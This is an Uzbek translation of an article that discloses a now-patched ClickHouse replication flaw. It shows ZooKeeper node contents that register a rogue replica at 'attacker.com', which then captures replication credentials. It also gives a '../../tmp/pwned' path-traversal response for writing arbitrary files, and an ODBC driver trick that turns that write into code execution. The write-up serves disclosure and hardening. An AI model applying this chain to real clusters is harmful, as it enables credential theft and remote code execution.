Nima uchun hayvonot bog'i qafaslarini yopiq saqlash kerak?

Nima uchun hayvonot bog'i qafaslarini yopiq saqlash kerak?

Ushbu maqola ClickHouse replikatsiya protokolidagi juda o'ziga xos zaiflik haqida hikoya qiladi va shuningdek, hujum yuzasini qanday kengaytirish mumkinligini ko'rsatadi.

ClickHouse - bu katta hajmdagi ma'lumotlarni saqlash uchun ma'lumotlar bazasi bo'lib, ko'pincha bir nechta nusxadan foydalanadi. ClickHouse-da klasterlash va replikatsiya yuqorida qurilgan Apache ZooKeeper (ZK) va yozish huquqlarini talab qiladi.

Standart ZK o'rnatilishi autentifikatsiyani talab qilmaydi, shuning uchun Kafka, Hadoop, ClickHouse-ni sozlash uchun ishlatiladigan minglab ZK serverlari hamma uchun ochiq.

Hujum maydonini kamaytirish uchun ZooKeeper-ni o'rnatishda har doim autentifikatsiya va avtorizatsiyani sozlashingiz kerak.

Albatta, 0 kunlik Java-ni seriyadan chiqarishlar mavjud, ammo tasavvur qiling-a, tajovuzkor ClickHouse replikatsiyasi uchun ishlatiladigan ZooKeeper-ni o'qishi va yozishi mumkin.

Klaster rejimida sozlanganda ClickHouse tarqatilgan so'rovlarni qo'llab-quvvatlaydi DDL, ZK orqali o'tish - ular uchun varaqda tugunlar yaratiladi /clickhouse/task_queue/ddl.

Masalan, siz tugun yaratasiz /clickhouse/task_queue/ddl/query-0001 mazmuni bilan:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

va shundan so'ng test jadvali host1 va host2 klaster serverlarida o'chiriladi. DDL shuningdek, CREATE/ALTER/DROP so'rovlarini bajarishni qo'llab-quvvatlaydi.

Qo'rqinchli eshitildimi? Ammo tajovuzkor server manzillarini qayerdan olishi mumkin?

ClickHouse replikatsiyasi individual jadvallar darajasida ishlaydi, shuning uchun ZKda jadval yaratilganda, metama'lumotlarni replikalar bilan almashish uchun mas'ul bo'lgan server belgilanadi. Masalan, so'rovni bajarishda (ZK sozlanishi kerak, chXX - nusxaning nomi, foobar - jadval nomi):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

tugunlar yaratiladi ustunlar и Metadata.

Tarkib /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Ushbu klasterdan ma'lumotlarni birlashtirish mumkinmi? Ha, agar replikatsiya porti (TCP/9009) serverda chXX-address xavfsizlik devori yopilmaydi va replikatsiya uchun autentifikatsiya konfiguratsiya qilinmaydi. Autentifikatsiyani qanday chetlab o'tish mumkin?

Buzg'unchi ZK-dan tarkibni shunchaki nusxalash orqali yangi nusxa yaratishi mumkin /clickhouse/tables/01-01/foobar/replicas/chXX va ma'noni o'zgartirish host.

Tarkib /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Keyin boshqa replikalarga tajovuzkor serverida olishi kerak bo'lgan yangi ma'lumotlar bloki mavjudligini aytishingiz kerak - ZK-da tugun yaratiladi. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monoton ravishda o'sib borayotgan hisoblagich, voqealar jurnalidagi oxirgisidan kattaroq bo'lishi kerak):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

qayerda source_replica - oldingi bosqichda yaratilgan tajovuzkor nusxasining nomi, block_id - ma'lumotlar bloki identifikatori, olish - "blok olish" buyrug'i (va bu erda boshqa operatsiyalar uchun buyruqlar mavjud).

Keyinchalik, har bir replika jurnaldagi yangi hodisani o'qiydi va ma'lumotlar blokini olish uchun tajovuzkor tomonidan boshqariladigan serverga o'tadi (replikatsiya protokoli ikkilikdir, HTTP tepasida ishlaydi). Server attacker.com so'rovlarni qabul qiladi:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

bu erda XXX replikatsiya uchun autentifikatsiya ma'lumotlari. Ba'zi hollarda, bu asosiy ClickHouse protokoli va HTTP protokoli orqali ma'lumotlar bazasiga kirish huquqiga ega hisob bo'lishi mumkin. Ko'rib turganingizdek, hujum maydoni juda katta bo'ladi, chunki replikatsiya uchun ishlatiladigan ZooKeeper autentifikatsiya sozlanmagan.

Keling, replikadan ma'lumotlar blokini olish funktsiyasini ko'rib chiqaylik, u barcha replikalar tegishli nazorat ostida ekanligi va ular o'rtasida ishonch mavjudligi to'liq ishonch bilan yozilgan.

Nima uchun hayvonot bog'i qafaslarini yopiq saqlash kerak?
replikatsiyani qayta ishlash kodi

Funktsiya fayllar ro'yxatini, so'ngra ularning nomlarini, o'lchamlarini, mazmunini o'qiydi va keyin ularni fayl tizimiga yozadi. Fayl tizimida ma'lumotlar qanday saqlanishini alohida tavsiflashga arziydi.

Bir nechta kichik kataloglar mavjud /var/lib/clickhouse (konfiguratsiya faylidan standart saqlash katalogi):

bayroqlar - yozib olish uchun katalog bayroqlar, ma'lumotlar yo'qolganidan keyin tiklashda ishlatiladi;
tmp — vaqtinchalik fayllarni saqlash uchun katalog;
user_files — so'rovlardagi fayllar bilan operatsiyalar ushbu katalog bilan cheklangan (INTO OUTFILE va boshqalar);
Metadata — jadval tavsiflari bilan sql fayllari;
oldindan ishlangan_configs - dan qayta ishlangan lotin konfiguratsiya fayllari /etc/clickhouse-server;
ma'lumotlar - ma'lumotlarning o'zi bo'lgan haqiqiy katalog, bu holda har bir ma'lumotlar bazasi uchun bu erda alohida kichik katalog yaratiladi (masalan, /var/lib/clickhouse/data/default).

Har bir jadval uchun ma'lumotlar bazasi katalogida pastki katalog yaratiladi. Har bir ustunga qarab alohida fayl dvigatel formati. Masalan, stol uchun foobartajovuzkor tomonidan yaratilgan bo'lsa, quyidagi fayllar yaratiladi:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Replika ma'lumotlar blokini qayta ishlashda bir xil nomdagi fayllarni olishni kutadi va ularni hech qanday tarzda tasdiqlamaydi.

Ehtiyotkor o'quvchi funktsiyada file_name ning xavfli birikmasi haqida eshitgan bo'lishi mumkin WriteBufferFromFile. Ha, bu tajovuzkorga foydalanuvchi huquqlari bilan FSdagi istalgan faylga o'zboshimchalik bilan kontent yozish imkonini beradi clickhouse. Buning uchun tajovuzkor tomonidan boshqariladigan replika soʻrovga quyidagi javobni qaytarishi kerak (tushunish qulayligi uchun qatorlar qoʻshilgan):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

va birikkandan keyin ../../../../../../../../../tmp/pwned fayl yoziladi /tmp/pwned mazmuni bilan salom zookeeper.

Fayl yozish qobiliyatini masofaviy kodni bajarishga (RCE) aylantirish uchun bir nechta variant mavjud.

RCEdagi tashqi lug'atlar

Eski versiyalarda ClickHouse sozlamalari bilan katalog foydalanuvchi huquqlari bilan saqlangan klik uyi standart. Sozlamalar fayllari - bu xizmat ishga tushganda o'qiydigan va keyin keshlanadigan XML fayllari /var/lib/clickhouse/preprocessed_configs. O'zgarishlar sodir bo'lganda, ular qayta o'qiladi. Agar kirish imkoningiz bo'lsa /etc/clickhouse-server hujumchi o'zini yaratishi mumkin tashqi lug'at bajariladigan turini kiriting va keyin ixtiyoriy kodni bajaring. ClickHouse-ning joriy versiyalari sukut bo'yicha huquqlarni ta'minlamaydi, lekin agar server asta-sekin yangilangan bo'lsa, bunday huquqlar saqlanib qolishi mumkin. Agar siz ClickHouse klasterini qo'llab-quvvatlasangiz, sozlamalar katalogiga bo'lgan huquqlarni tekshiring, u foydalanuvchiga tegishli bo'lishi kerak. root.

ODBC dan RCE ga

Paketni o'rnatishda foydalanuvchi yaratiladi clickhouse, lekin uning uy katalogi yaratilmagan /nonexistent. Biroq, tashqi lug'atlardan foydalanganda yoki boshqa sabablarga ko'ra, administratorlar katalog yaratadilar /nonexistent va foydalanuvchiga bering clickhouse unga yozish imkoniyati (SSZB! taxminan. tarjimon).

ClickHouse-ni qo'llab-quvvatlaydi ODBC va boshqa ma'lumotlar bazalariga ulanishi mumkin. ODBC da siz ma'lumotlar bazasi drayverlari kutubxonasiga (.so) yo'lni belgilashingiz mumkin. ClickHouse-ning eski versiyalari buni to'g'ridan-to'g'ri so'rovni qayta ishlash vositasida bajarishga imkon berdi, ammo endi ulanish qatorini yanada qattiq tekshirish qo'shildi. odbc-bridge, shuning uchun endi so'rovdan haydovchi yo'lini belgilash mumkin emas. Ammo tajovuzkor yuqorida tavsiflangan zaiflikdan foydalanib, uy katalogiga yozishi mumkinmi?

Keling, fayl yarataylik ~/.odbc.ini shunga o'xshash tarkib bilan:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

keyin ishga tushirilganda SELECT * FROM odbc('DSN=lalala', 'test', 'test'); kutubxona yuklanadi test.so va RCE oldi (rahmat buglloc uchi uchun).

Ushbu va boshqa zaifliklar ClickHouse 19.14.3 versiyasida tuzatilgan. ClickHouse va ZooKeepers-ga g'amxo'rlik qiling!

Manba: www.habr.com

a Izoh qo'shish